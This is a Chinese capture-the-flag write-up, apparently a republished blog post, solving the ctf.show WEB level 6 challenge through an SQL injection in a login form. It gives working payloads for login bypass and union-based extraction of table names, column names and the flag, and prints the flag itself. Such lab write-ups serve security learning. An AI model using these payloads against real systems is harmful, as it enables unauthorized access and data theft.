ctfshow-WEB-web6

举报
士别三日wyx 发表于 2021/12/23 02:52:52 2021/12/23
【摘要】 ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过   先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输 a'or(true)#  成功登录   &nbs...

ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过

 

先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输

a'or(true)#
 

 成功登录

 

 

既然是SQL注入漏洞,那么flag肯定就藏在当前使用的数据库中,我们使用联合注入获取当前使用的数据库,用户名输入以下payload,密码随便输

a'or(true)union(select(1),database(),3)#
 

当前数据库是web2

 

接下来获取数据库中的所有表,用户名输入一下payload,密码随便输,如果直接复制payload,记得删掉内容中的空格等特殊字符,尽量使整个内容保持在一行,否则空格或换行符会使结果出错


  
  1. a'or(true)union(select(1),
  2. (select(group_concat(table_name))from(information_schema.tables)
  3. where(table_schema='web2'))
  4. ,3)#

成功获取数据库中的表 flag , user

 

很明显flag就在flag这个表中,接下来我们获取flag表的所有字段,用户名输入以下payload,密码随便输,如果直接赋值payload,记得删掉内容中的空格和换行符,否则会报错


  
  1. a'or(true)union(select(1),
  2. select(group_concat(column_name))from(information_schema.columns)
  3. where(table_schema='web2')and(table_name='flag'))
  4. ,3)#

成功获取表中字段flag

 

接下来就是获取flag表中的数据了,用户名输入以下payload,密码随便输

a'or(true)union(select(1),(select(flag)from(flag)),3)#
 

 

把整个内容复制到输入框中提交flag,即可过关

ctfshow{4cd84cfd-e43c-40f0-86df-d11bf6c2c50c}
 

文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/wangyuxiang946/article/details/119845871

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。